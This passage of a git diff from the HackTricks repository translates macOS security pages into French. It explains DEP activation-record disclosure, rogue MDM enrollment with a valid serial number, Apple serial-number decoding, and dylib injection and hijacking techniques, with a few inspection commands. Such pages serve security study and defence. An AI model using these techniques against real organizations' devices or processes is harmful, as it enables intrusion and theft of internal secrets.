récupérées à partir du profil DEP. Le deuxième consiste à utiliser ces informations pour effectuer un enregistrement DEP et MDM frauduleux. Chacun de ces scénarios est discuté plus en détail ci-dessous. -### Information Disclosure - -As mentioned previously, part of the DEP enrollment process involves requesting and receiving an _Activation Record_, (or DEP profile), from the DEP API. By providing a valid, DEP-registered system serial number, we're able to retrieve the following information, (either printed to `stdout` or written to the `ManagedClient` log, depending on macOS version). +### Divulgation d'informations +Comme mentionné précédemment, une partie du processus d'enregistrement DEP consiste à demander et recevoir un _Activation Record_ (ou profil DEP) à partir de l'API DEP. En fournissant un numéro de série système enregistré dans DEP valide, nous sommes en mesure de récupérer les informations suivantes (soit imprimées sur `stdout`, soit écrites dans le journal `ManagedClient`, selon la version de macOS). ``` Activation record: { AllowPairing = 1; @@ -427,32 +384,12 @@ SupervisorHostCertificates = ( ); } ``` +Bien que certaines de ces informations puissent être disponibles publiquement pour certaines organisations, avoir un numéro de série d'un appareil appartenant à l'organisation ainsi que les informations obtenues à partir du profil DEP pourrait être utilisé contre le service d'assistance ou l'équipe informatique de l'organisation pour effectuer toute une série d'attaques d'ingénierie sociale, telles que la demande de réinitialisation de mot de passe ou l'aide à l'inscription d'un appareil dans le serveur MDM de l'entreprise. -Although some of this information might be publicly available for certain organizations, having a serial number of a device owned by the organization along with the information obtained from the DEP profile could be used against an organization's help desk or IT team to perform any number of social engineering attacks, such as requesting a password reset or help enrolling a device in the company's MDM server. +### Inscription DEP frauduleuse -### Rogue DEP Enrollment - -The [Apple MDM protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) supports - but does not require - user authentication prior to MDM enrollment via [HTTP Basic Authentication](https://en.wikipedia.org/wiki/Basic\_access\_authentication). **Without authentication, all that's required to enroll a device in an MDM server via DEP is a valid, DEP-registered serial number**. Thus, an attacker that obtains such a serial number, (either through [OSINT](https://en.wikipedia.org/wiki/Open-source\_intelligence), social engineering, or by brute-force), will be able to enroll a device of their own as if it were owned by the organization, as long as it's not currently enrolled in the MDM server. Essentially, if an attacker is able to win the race by initiating the DEP enrollment before the real device, they're able to assume the identity of that device. - -Organizations can - and do - leverage MDM to deploy sensitive information such as device and user certificates, VPN configuration data, enrollment agents, Configuration Profiles, and various other internal data and organizational secrets. Additionally, some organizations elect not to require user authentication as part of MDM enrollment. This has various benefits, such as a better user experience, and not having to [expose the internal authentication server to the MDM server to handle MDM enrollments that take place outside of the corporate network](https://docs.simplemdm.com/article/93-ldap-authentication-with-apple-dep). - -This presents a problem when leveraging DEP to bootstrap MDM enrollment, though, because an attacker would be able to enroll any endpoint of their choosing in the organization's MDM server. Additionally, once an attacker successfully enrolls an endpoint of their choosing in MDM, they may obtain privileged access that could be used to further pivot within the network. - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+Le protocole MDM d'Apple prend en charge - mais n'exige pas - l'authentification de l'utilisateur avant l'inscription MDM via l'authentification de base HTTP. **Sans authentification, tout ce qui est nécessaire pour inscrire un appareil dans un serveur MDM via DEP est un numéro de série DEP valide**. Ainsi, un attaquant qui obtient un tel numéro de série (soit par OSINT, ingénierie sociale ou par force brute) pourra inscrire un appareil qui lui appartient comme s'il appartenait à l'organisation, tant qu'il n'est pas actuellement inscrit dans le serveur MDM. Essentiellement, si un attaquant est capable de remporter la course en initiant l'inscription DEP avant le vrai appareil, il est capable d'assumer l'identité de cet appareil. +Les organisations peuvent - et le font - utiliser MDM pour déployer des informations sensibles telles que des certificats d'appareil et d'utilisateur, des données de configuration VPN, des agents d'inscription, des profils de configuration et diverses autres données internes et secrets organisationnels. De plus, certaines organisations choisissent de ne pas exiger l'authentification de l'utilisateur dans le cadre de l'inscription MDM. Cela présente divers avantages, tels qu'une meilleure expérience utilisateur et le fait de ne pas avoir à exposer le serveur d'authentification interne au serveur MDM pour gérer les inscriptions MDM qui ont lieu en dehors du réseau d'entreprise. +Cela pose un problème lors de l'utilisation de DEP pour amorcer l'inscription MDM, car un attaquant serait en mesure d'inscrire n'importe quel point final de son choix dans le serveur MDM de l'organisation. De plus, une fois qu'un attaquant a réussi à inscrire un point final de son choix dans MDM, il peut obtenir un accès privilégié qui pourrait être utilisé pour pivoter davantage dans le réseau. diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/macos-serial-number.md b/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/macos-serial-number.md index a29e07b50..9cd2d9410 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/macos-serial-number.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/macos-serial-number.md @@ -1,112 +1,88 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [PLANS D'ABONNEMENT](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [La famille PEASS](https://opensea.io/collection/the-peass-family), notre collection d'[NFTs](https://opensea.io/collection/the-peass-family) exclusifs. -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [swag officiel PEASS & HackTricks](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- Rejoignez le [groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou suivez-moi sur Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live). -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud).
-Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**. +Les appareils Apple fabriqués après 2010 ont généralement des numéros de série alphanumériques de **12 caractères**, les **trois premiers chiffres représentant le lieu de fabrication**, les deux suivants indiquant l'**année** et la **semaine** de fabrication, les trois chiffres suivants fournissant un **identifiant unique**, et les **quatre derniers chiffres** représentant le **numéro de modèle**. -Serial number example: **C02L13ECF8J2** +Exemple de numéro de série : **C02L13ECF8J2** -## **3 - Manufacturing locations** +## **3 - Lieux de fabrication** -| Code | Factory | +| Code | Usine | | :--- | :--- | | FC | Fountain Colorado, USA | -| F | Fremont, California, USA | +| F | Fremont, Californie, USA | | XA, XB, QP, G8 | USA | -| RN | Mexico | -| CK | Cork, Ireland | -| VM | Foxconn, Pardubice, Czech Republic | -| SG, E | Singapore | -| MB | Malaysia | -| PT, CY | Korea | -| EE, QT, UV | Taiwan | -| FK, F1, F2 | Foxconn – Zhengzhou, China | -| W8 | Shanghai China | -| DL, DM | Foxconn – China | -| DN | Foxconn, Chengdu, China | -| YM, 7J | Hon Hai/Foxconn, China | -| 1C, 4H, WQ, F7 | China | -| C0 | Tech Com – Quanta Computer Subsidiary, China | -| C3 | Foxxcon, Shenzhen, China | -| C7 | Pentragon, Changhai, China | -| RM | Refurbished/remanufactured | +| RN | Mexique | +| CK | Cork, Irlande | +| VM | Foxconn, Pardubice, République tchèque | +| SG, E | Singapour | +| MB | Malaisie | +| PT, CY | Corée | +| EE, QT, UV | Taïwan | +| FK, F1, F2 | Foxconn - Zhengzhou, Chine | +| W8 | Shanghai Chine | +| DL, DM | Foxconn - Chine | +| DN | Foxconn, Chengdu, Chine | +| YM, 7J | Hon Hai/Foxconn, Chine | +| 1C, 4H, WQ, F7 | Chine | +| C0 | Tech Com - Filiale de Quanta Computer, Chine | +| C3 | Foxxcon, Shenzhen, Chine | +| C7 | Pentagone, Changhai, Chine | +| RM | Remis à neuf/remanufacturé | -## 1 - Year of manufacturing +## 1 - Année de fabrication -| Code | Release | +| Code | Sortie | | :--- | :--- | -| C | 2010/2020 \(1st half\) | -| D | 2010/2020 \(2nd half\) | -| F | 2011/2021 \(1st half\) | -| G | 2011/2021 \(2nd half\) | -| H | 2012/... \(1st half\) | -| J | 2012 \(2nd half\) | -| K | 2013 \(1st half\) | -| L | 2013 \(2nd half\) | -| M | 2014 \(1st half\) | -| N | 2014 \(2nd half\) | -| P | 2015 \(1st half\) | -| Q | 2015 \(2nd half\) | -| R | 2016 \(1st half\) | -| S | 2016 \(2nd half\) | -| T | 2017 \(1st half\) | -| V | 2017 \(2nd half\) | -| W | 2018 \(1st half\) | -| X | 2018 \(2nd half\) | -| Y | 2019 \(1st half\) | -| Z | 2019 \(2nd half\) | +| C | 2010/2020 \(1ère moitié\) | +| D | 2010/2020 \(2ème moitié\) | +| F | 2011/2021 \(1ère moitié\) | +| G | 2011/2021 \(2ème moitié\) | +| H | 2012/... \(1ère moitié\) | +| J | 2012 \(2ème moitié\) | +| K | 2013 \(1ère moitié\) | +| L | 2013 \(2ème moitié\) | +| M | 2014 \(1ère moitié\) | +| N | 2014 \(2ème moitié\) | +| P | 2015 \(1ère moitié\) | +| Q | 2015 \(2ème moitié\) | +| R | 2016 \(1ère moitié\) | +| S | 2016 \(2ème moitié\) | +| T | 2017 \(1ère moitié\) | +| V | 2017 \(2ème moitié\) | +| W | 2018 \(1ère moitié\) | +| X | 2018 \(2ème moitié\) | +| Y | 2019 \(1ère moitié\) | +| Z | 2019 \(2ème moitié\) | -## 1 - Week of manufacturing +## 1 - Semaine de fabrication -The fifth character represent the week in which the device was manufactured. There are 28 possible characters in this spot: **the digits 1-9 are used to represent the first through ninth weeks**, and the **characters C through Y**, **excluding** the vowels A, E, I, O, and U, and the letter S, represent the **tenth through twenty-seventh weeks**. For devices manufactured in the **second half of the year, add 26** to the number represented by the fifth character of the serial number. For example, a product with a serial number whose fourth and fifth digits are “JH” was manufactured in the 40th week of 2012. +Le cinquième caractère représente la semaine de fabrication de l'appareil. Il y a 28 caractères possibles à cet endroit : **les chiffres de 1 à 9 sont utilisés pour représenter les première à neuvième semaines**, et les **caractères C à Y**, **à l'exception** des voyelles A, E, I, O et U, et de la lettre S, représentent les **dixième à vingt-septième semaines**. Pour les appareils fabriqués dans la **deuxième moitié de l'année, ajoutez 26** au nombre représenté par le cinquième caractère du numéro de série. Par exemple, un produit dont les quatrième et cinquième chiffres sont "JH" a été fabriqué dans la 40ème semaine de 2012. -## 3 - Uniq Code +## 3 - Code d'identification unique -The next three digits are an identifier code which **serves to differentiate each Apple device of the same model** which is manufactured in the same location and during the same week of the same year, ensuring that each device has a different serial number. +Les trois chiffres suivants sont un code d'identification qui **sert à différencier chaque appareil Apple du même modèle** qui est fabriqué dans le même lieu et pendant la même semaine de la même année, en veillant à ce que chaque appareil ait un numéro de série différent. -## 4 - Serial number +## 4 - Numéro de série -The last four digits of the serial number represent the **product’s model**. +Les quatre derniers chiffres du numéro de série représentent le **modèle du produit**. -## Reference +## Référence {% embed url="https://beetstech.com/blog/decode-meaning-behind-apple-serial-number" %} - - - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md index e88b64985..34c8e5821 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md @@ -1,40 +1,40 @@ -# macOS Proces Abuse +# Abus de processus sur macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## MacOS Process Abuse +## Abus de processus sur macOS -MacOS, like any other operating system, provides a variety of methods and mechanisms for **processes to interact, communicate, and share data**. While these techniques are essential for efficient system functioning, they can also be abused by threat actors to **perform malicious activities**. +macOS, comme tout autre système d'exploitation, fournit une variété de méthodes et de mécanismes pour que les **processus interagissent, communiquent et partagent des données**. Bien que ces techniques soient essentielles pour un fonctionnement efficace du système, elles peuvent également être utilisées de manière abusive par des acteurs malveillants pour **effectuer des activités malveillantes**. -### Library Injection +### Injection de bibliothèque -Library Injection is a technique wherein an attacker **forces a process to load a malicious library**. Once injected, the library runs in the context of the target process, providing the attacker with the same permissions and access as the process. +L'injection de bibliothèque est une technique dans laquelle un attaquant **force un processus à charger une bibliothèque malveillante**. Une fois injectée, la bibliothèque s'exécute dans le contexte du processus cible, fournissant à l'attaquant les mêmes autorisations et accès que le processus. {% content-ref url="macos-library-injection/" %} [macos-library-injection](macos-library-injection/) {% endcontent-ref %} -### Function Hooking +### Accrochage de fonction -Function Hooking involves **intercepting function calls** or messages within a software code. By hooking functions, an attacker can **modify the behavior** of a process, observe sensitive data, or even gain control over the execution flow. +L'accrochage de fonction implique **l'interception d'appels de fonction** ou de messages dans un code logiciel. En accrochant des fonctions, un attaquant peut **modifier le comportement** d'un processus, observer des données sensibles, voire prendre le contrôle du flux d'exécution. {% content-ref url="../mac-os-architecture/macos-function-hooking.md" %} [macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md) {% endcontent-ref %} -### Inter Process Communication +### Communication inter-processus -Inter Process Communication (IPC) refers to different methods by which separate processes **share and exchange data**. While IPC is fundamental for many legitimate applications, it can also be misused to subvert process isolation, leak sensitive information, or perform unauthorized actions. +La communication inter-processus (IPC) fait référence à différentes méthodes par lesquelles des processus séparés **partagent et échangent des données**. Bien que l'IPC soit fondamental pour de nombreuses applications légitimes, il peut également être utilisé de manière abusive pour contourner l'isolation des processus, divulguer des informations sensibles ou effectuer des actions non autorisées. {% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %} [macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/) @@ -44,10 +44,10 @@ Inter Process Communication (IPC) refers to different methods by which separate ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md index 5e190b2c4..ab03eb9f5 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md @@ -1,140 +1,19 @@ -# macOS Library Injection +# Injection de bibliothèque macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% hint style="danger" %} -The code of **dyld is open source** and can be found in [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) and cab be downloaded a tar using a **URL such as** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) -{% endhint %} - -## **DYLD\_INSERT\_LIBRARIES** - -> This is a colon separated **list of dynamic libraries** to l**oad before the ones specified in the program**. This lets you test new modules of existing dynamic shared libraries that are used in flat-namespace images by loading a temporary dynamic shared library with just the new modules. Note that this has no effect on images built a two-level namespace images using a dynamic shared library unless DYLD\_FORCE\_FLAT\_NAMESPACE is also used. - -This is like the [**LD\_PRELOAD on Linux**](../../../../linux-hardening/privilege-escalation#ld\_preload). - -This technique may be also **used as an ASEP technique** as every application installed has a plist called "Info.plist" that allows for the **assigning of environmental variables** using a key called `LSEnvironmental`. - -{% hint style="info" %} -Since 2012 **Apple has drastically reduced the power** of the **`DYLD_INSERT_LIBRARIES`**. - -Go to the code and **check `src/dyld.cpp`**. In the function **`pruneEnvironmentVariables`** you can see that **`DYLD_*`** variables are removed. - -In the function **`processRestricted`** the reason of the restriction is set. Checking that code you can see that the reasons are: - -* The binary is `setuid/setgid` -* Existence of `__RESTRICT/__restrict` section in the macho binary. -* The software has entitlements (hardened runtime) without [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) entitlement or [`com.apple.security.cs.disable-library-validation`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation). - * Check **entitlements** of a binary with: `codesign -dv --entitlements :- ` -* If the lib is signed with a different certificate as the binary - * If the lib & the bin are signed with the same cert, this will bypass the previous restrictions -* Programs with the entitlements **`system.install.apple-software`** and **`system.install.apple-software.standar-user`** can **install software** signed by Apple without asking the user for a password (privesc) - -In more updated versions you can find this logic at the second part of the function **`configureProcessRestrictions`.** However, what is executed in newer versions is the **beginning checks of the function** (you can remove the ifs related to iOS or simulation as those won't be used in macOS. -{% endhint %} - -You can check if a binary has **hardenend runtime** with `codesign --display --verbose ` checking the flag runtime in **`CodeDirectory`** like: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`** - -Find a example on how to (ab)use this and check the restrictions in: - -{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} -[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md) -{% endcontent-ref %} - -## Dylib Hijacking - -{% hint style="danger" %} -Remember that **previous restrictions also apply** to perform Dylib hijacking attacks. -{% endhint %} - -As in Windows, in MacOS you can also **hijack dylibs** to make **applications** **execute** **arbitrary** **code**.\ -However, the way **MacOS** applications **load** libraries is **more restricted** than in Windows. This implies that **malware** developers can still use this technique for **stealth**, but the probably to be able to **abuse this to escalate privileges is much lower**. - -First of all, is **more common** to find that **MacOS binaries indicates the full path** to the libraries to load. And second, **MacOS never search** in the folders of the **$PATH** for libraries. - -The **main** part of the **code** related to this functionality is in **`ImageLoader::recursiveLoadLibraries`** in `ImageLoader.cpp`. - -However, there are **2 types of dylib hijacking**: - -* **Missing weak linked libraries**: This means that the application will try to load a library that doesn't exist configured with **LC\_LOAD\_WEAK\_DYLIB**. Then, **if an attacker places a dylib where it's expected it will be loaded**. - * The fact that the link is "weak" means that the application will continue running even if the library isn't found. - * The **code related** to this is in the function `ImageLoaderMachO::doGetDependentLibraries` of `ImageLoaderMachO.cpp` where `lib->required` is only `false` when `LC_LOAD_WEAK_DYLIB` is true. - * **Find weak liked libraries** in binaries with (you have later an example on how to create hijacking libraries): - * ``` - otool -l | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB - cmdsize 56 - name /var/tmp/lib/libUtl.1.dylib (offset 24) - time stamp 2 Wed Jun 21 12:23:31 1969 - current version 1.0.0 - compatibility version 1.0.0 - ``` -* **Configured with @rpath**: Mach-O binaries can have the commands **`LC_RPATH`** and **`LC_LOAD_DYLIB`**. Base on the **values** of those commands, **libraries** are going to be **loaded** from **different directories**. - * **`LC_RPATH`** contains the paths of some folders used to load libraries by the binary. - * **`LC_LOAD_DYLIB`** contains the path to specific libraries to load. These paths can contain **`@rpath`**, which will be **replaced** by the values in **`LC_RPATH`**. If there are several paths in **`LC_RPATH`** everyone will be used to search the library to load. Example: - * If **`LC_LOAD_DYLIB`** contains `@rpath/library.dylib` and **`LC_RPATH`** contains `/application/app.app/Contents/Framework/v1/` and `/application/app.app/Contents/Framework/v2/`. Both folders are going to be used to load `library.dylib`**.** If the library doesn't exist in `[...]/v1/` and attacker could place it there to hijack the load of the library in `[...]/v2/` as the order of paths in **`LC_LOAD_DYLIB`** is followed. - * **Find rpath paths and libraries** in binaries with: `otool -l | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5` - -{% hint style="info" %} -**`@executable_path`**: Is the **path** to the directory containing the **main executable file**. - -**`@loader_path`**: Is the **path** to the **directory** containing the **Mach-O binary** which contains the load command. - -* When used in an executable, **`@loader_path`** is effectively the **same** as **`@executable_path`**. -* When used in a **dylib**, **`@loader_path`** gives the **path** to the **dylib**. -{% endhint %} - -The way to **escalate privileges** abusing this functionality would be in the rare case that an **application** being executed **by** **root** is **looking** for some **library in some folder where the attacker has write permissions.** - -{% hint style="success" %} -A nice **scanner** to find **missing libraries** in applications is [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) or a [**CLI version**](https://github.com/pandazheng/DylibHijack).\ -A nice **report with technical details** about this technique can be found [**here**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x). -{% endhint %} - -**Example** - -{% content-ref 